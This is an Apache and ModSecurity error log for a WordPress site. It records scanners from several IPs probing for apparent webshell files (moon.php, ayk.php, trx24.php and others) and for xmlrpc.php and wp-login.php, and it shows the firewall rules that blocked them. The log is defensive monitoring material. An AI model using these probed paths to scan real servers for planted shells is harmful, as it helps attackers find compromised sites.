[Fri Feb 27 11:17:08.462050 2026] [proxy_fcgi:error] [pid 52073:tid 52083] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:09.044451 2026] [proxy_fcgi:error] [pid 52073:tid 52096] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:09.646835 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:10.188462 2026] [proxy_fcgi:error] [pid 52073:tid 52095] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:11.248827 2026] [proxy_fcgi:error] [pid 52073:tid 52093] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:11.770841 2026] [proxy_fcgi:error] [pid 52073:tid 52095] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:12.235792 2026] [proxy_fcgi:error] [pid 52073:tid 52094] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:12.766982 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:13.263740 2026] [:error] [pid 52073:tid 52082] [client 64.64.108.46:43575] [client 64.64.108.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aaEMuYa650YPyxXVeRZwMQAAAYY"]
[Fri Feb 27 11:17:14.586482 2026] [proxy_fcgi:error] [pid 54102:tid 54155] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:16.237980 2026] [proxy_fcgi:error] [pid 54102:tid 54166] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:16.767498 2026] [proxy_fcgi:error] [pid 54102:tid 54168] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:17.260453 2026] [proxy_fcgi:error] [pid 54102:tid 54147] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:17.771460 2026] [proxy_fcgi:error] [pid 54102:tid 54164] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:18.248882 2026] [proxy_fcgi:error] [pid 54102:tid 54147] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:18.769758 2026] [proxy_fcgi:error] [pid 54102:tid 54155] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:19.264438 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:20.375699 2026] [proxy_fcgi:error] [pid 54102:tid 54151] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:20.957491 2026] [proxy_fcgi:error] [pid 54102:tid 54153] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:21.453203 2026] [:error] [pid 54102:tid 54159] [client 64.64.108.26:42685] [client 64.64.108.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.26, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaEMwXi74D4fiYUm_GcVBgAAAI8"]
[Fri Feb 27 11:17:21.969361 2026] [proxy_fcgi:error] [pid 54102:tid 54152] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:26.040439 2026] [proxy_fcgi:error] [pid 54102:tid 54156] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:26.541000 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:27.759959 2026] [proxy_fcgi:error] [pid 54102:tid 54168] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:29.254502 2026] [proxy_fcgi:error] [pid 54102:tid 54145] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:29.759473 2026] [proxy_fcgi:error] [pid 54102:tid 54155] [client 64.64.108.26:42685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:18:42.639711 2026] [:error] [pid 49306:tid 49310] [client 64.64.108.25:40457] [client 64.64.108.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aaENEvnSUDZue59Px9t-jQAAAUI"]
[Fri Feb 27 13:18:54.933024 2026] [proxy_fcgi:error] [pid 49306:tid 49319] [client 4.193.177.110:20914] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 13:18:55.020784 2026] [:error] [pid 49306:tid 49314] [client 4.193.177.110:20914] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Cookie/cloud.php"] [unique_id "aaEpP_nSUDZue59Px9sG7QAAAUY"]
[Fri Feb 27 13:18:55.625214 2026] [:error] [pid 56075:tid 56079] [client 4.193.177.110:24160] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/functions.php"] [unique_id "aaEpP8KBhrfI6KNv9RjlnAAAAAI"]
[Fri Feb 27 13:18:56.105008 2026] [proxy_fcgi:error] [pid 49306:tid 49311] [client 4.193.177.110:15724] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 13:18:56.282635 2026] [:error] [pid 49306:tid 49321] [client 4.193.177.110:15724] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/flower.php"] [unique_id "aaEpQPnSUDZue59Px9sG9gAAAU0"]
[Fri Feb 27 13:18:57.572483 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 4.193.177.110:19431] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 13:18:57.659637 2026] [:error] [pid 62998:tid 63007] [client 4.193.177.110:19431] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/block-bindings.php"] [unique_id "aaEpQVQeueXZDUmoLonCZQAAAQU"]
[Fri Feb 27 13:18:58.039042 2026] [:error] [pid 52073:tid 52095] [client 4.193.177.110:22502] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/root.php"] [unique_id "aaEpQoa650YPyxXVeRbv9wAAAZM"]
[Fri Feb 27 13:18:58.418881 2026] [proxy_fcgi:error] [pid 54101:tid 54132] [client 4.193.177.110:14429] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 13:18:58.506483 2026] [:error] [pid 54101:tid 54111] [client 4.193.177.110:14429] [client 4.193.177.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/index.php"] [unique_id "aaEpQlY5qgRktcYTGFsObgAAAcM"]
[Fri Feb 27 13:18:58.887646 2026] [:error] [pid 54103:tid 54181] [client 4.193.177.110:9847] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaEpQuvG4MPCmE0B2sBcQQAAAMo"]
[Fri Feb 27 13:18:59.314029 2026] [:error] [pid 56075:tid 56087] [client 4.193.177.110:19406] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaEpQ8KBhrfI6KNv9RjlogAAAAo"]
[Fri Feb 27 13:18:59.690030 2026] [:error] [pid 56075:tid 56093] [client 4.193.177.110:11712] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaEpQ8KBhrfI6KNv9RjlqgAAAA8"]
[Fri Feb 27 13:19:00.107211 2026] [:error] [pid 54231:tid 54246] [client 4.193.177.110:4347] [client 4.193.177.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaEpROTvb5AeyJCdY7CtrAAAAEw"]
[Fri Feb 27 14:14:33.971785 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.063119 2026] [proxy_fcgi:error] [pid 49306:tid 49315] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.154904 2026] [proxy_fcgi:error] [pid 49306:tid 49317] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.247203 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.334819 2026] [:error] [pid 49306:tid 49326] [client 4.193.97.168:11774] [client 4.193.97.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.193.97.168, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaE2SvnSUDZue59Px9suSwAAAVI"]
[Fri Feb 27 14:14:34.340053 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.456930 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.547929 2026] [proxy_fcgi:error] [pid 49306:tid 49316] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.639096 2026] [proxy_fcgi:error] [pid 49306:tid 49321] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.759578 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.850554 2026] [proxy_fcgi:error] [pid 49306:tid 49315] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:34.944295 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 4.193.97.168:11774] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 14:14:35.039836 2026] [:error] [pid 49306:tid 49326] [client 4.193.97.168:11774] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaE2S_nSUDZue59Px9suVAAAAVI"]
[Fri Feb 27 14:14:35.397869 2026] [:error] [pid 62998:tid 63023] [client 4.193.97.168:10562] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaE2S1QeueXZDUmoLonPTQAAARU"]
[Fri Feb 27 14:14:35.868721 2026] [:error] [pid 56075:tid 56102] [client 4.193.97.168:10323] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaE2S8KBhrfI6KNv9Rj5zgAAABg"]
[Fri Feb 27 14:14:36.220799 2026] [:error] [pid 52073:tid 52078] [client 4.193.97.168:13933] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaE2TIa650YPyxXVeRYMTAAAAYI"]
[Fri Feb 27 15:03:32.398567 2026] [proxy_fcgi:error] [pid 56075:tid 56080] [client 74.243.251.125:13253] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:24:52.950816 2026] [:error] [pid 54102:tid 54165] [client 37.67.74.207:17298] [client 37.67.74.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.74.207, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaFGxHi74D4fiYUm_GdCLgAAAJU"]
[Fri Feb 27 15:24:52.963033 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 37.67.74.207:17298] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:06.881483 2026] [proxy_fcgi:error] [pid 54101:tid 54111] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:07.388842 2026] [proxy_fcgi:error] [pid 54101:tid 54122] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:07.643440 2026] [proxy_fcgi:error] [pid 54101:tid 54127] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:07.896500 2026] [proxy_fcgi:error] [pid 54101:tid 54113] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:08.150601 2026] [proxy_fcgi:error] [pid 54101:tid 54120] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:08.404181 2026] [proxy_fcgi:error] [pid 54101:tid 54132] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:08.657564 2026] [proxy_fcgi:error] [pid 54101:tid 54114] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:09.165016 2026] [proxy_fcgi:error] [pid 54101:tid 54109] [client 52.169.148.186:10235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:42:09.414634 2026] [:error] [pid 54101:tid 54124] [client 52.169.148.186:10235] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aaFK0VY5qgRktcYTGFsdoAAAAdA"]
[Fri Feb 27 15:42:09.915091 2026] [:error] [pid 49306:tid 49310] [client 52.169.148.186:6644] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aaFK0fnSUDZue59Px9tnhgAAAUI"]
[Fri Feb 27 15:42:10.416814 2026] [:error] [pid 49306:tid 49311] [client 52.169.148.186:8991] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aaFK0vnSUDZue59Px9tnjAAAAUM"]
[Fri Feb 27 15:42:10.965470 2026] [:error] [pid 54231:tid 54234] [client 52.169.148.186:4877] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aaFK0uTvb5AeyJCdY7DIvQAAAEA"]
[Fri Feb 27 15:42:11.500008 2026] [:error] [pid 52073:tid 52088] [client 52.169.148.186:6213] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aaFK04a650YPyxXVeRZS8QAAAYw"]
[Fri Feb 27 15:42:12.020649 2026] [:error] [pid 52073:tid 52096] [client 52.169.148.186:8662] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aaFK1Ia650YPyxXVeRZS8wAAAZQ"]
[Fri Feb 27 15:42:12.522435 2026] [:error] [pid 52073:tid 52099] [client 52.169.148.186:10191] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aaFK1Ia650YPyxXVeRZS9AAAAZc"]
[Fri Feb 27 15:42:13.021142 2026] [:error] [pid 52073:tid 52090] [client 52.169.148.186:2260] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aaFK1Ya650YPyxXVeRZS-AAAAY4"]
[Fri Feb 27 15:42:13.553129 2026] [:error] [pid 54102:tid 54150] [client 52.169.148.186:11689] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aaFK1Xi74D4fiYUm_GdEKwAAAIY"]
[Fri Feb 27 15:42:14.051001 2026] [:error] [pid 52073:tid 52078] [client 52.169.148.186:4298] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aaFK1oa650YPyxXVeRZS-gAAAYI"]
[Fri Feb 27 15:42:14.559351 2026] [:error] [pid 54231:tid 54236] [client 52.169.148.186:18946] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aaFK1uTvb5AeyJCdY7DIwAAAAEI"]
[Fri Feb 27 15:42:15.059233 2026] [:error] [pid 49306:tid 49324] [client 52.169.148.186:9293] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aaFK1_nSUDZue59Px9tnkgAAAVA"]
[Fri Feb 27 15:42:15.558053 2026] [:error] [pid 52073:tid 52097] [client 52.169.148.186:6594] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaFK14a650YPyxXVeRZS-wAAAZU"]
[Fri Feb 27 15:42:16.075827 2026] [:error] [pid 52073:tid 52079] [client 52.169.148.186:10184] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaFK2Ia650YPyxXVeRZS_AAAAYM"]
[Fri Feb 27 15:42:16.593528 2026] [:error] [pid 54231:tid 54246] [client 52.169.148.186:8127] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaFK2OTvb5AeyJCdY7DIwQAAAEw"]
[Fri Feb 27 15:42:17.094534 2026] [:error] [pid 52073:tid 52091] [client 52.169.148.186:11687] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaFK2Ya650YPyxXVeRZS_wAAAY8"]
[Fri Feb 27 15:42:17.604831 2026] [:error] [pid 52073:tid 52096] [client 52.169.148.186:12240] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/advanc.php"] [unique_id "aaFK2Ya650YPyxXVeRZTAgAAAZQ"]
[Fri Feb 27 15:42:18.106716 2026] [:error] [pid 52073:tid 52081] [client 52.169.148.186:6682] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/advanc.php"] [unique_id "aaFK2oa650YPyxXVeRZTAwAAAYU"]
[Fri Feb 27 15:42:18.608059 2026] [:error] [pid 52073:tid 52080] [client 52.169.148.186:7763] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/advanc.php"] [unique_id "aaFK2oa650YPyxXVeRZTBAAAAYQ"]
[Fri Feb 27 15:42:19.108672 2026] [:error] [pid 49306:tid 49326] [client 52.169.148.186:12927] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/advanc.php"] [unique_id "aaFK2_nSUDZue59Px9tnmQAAAVI"]
[Fri Feb 27 15:42:19.608972 2026] [:error] [pid 52073:tid 52083] [client 52.169.148.186:19006] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFK24a650YPyxXVeRZTCAAAAYc"]
[Fri Feb 27 15:42:20.108499 2026] [:error] [pid 49306:tid 49315] [client 52.169.148.186:1621] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFK3PnSUDZue59Px9tnoAAAAUc"]
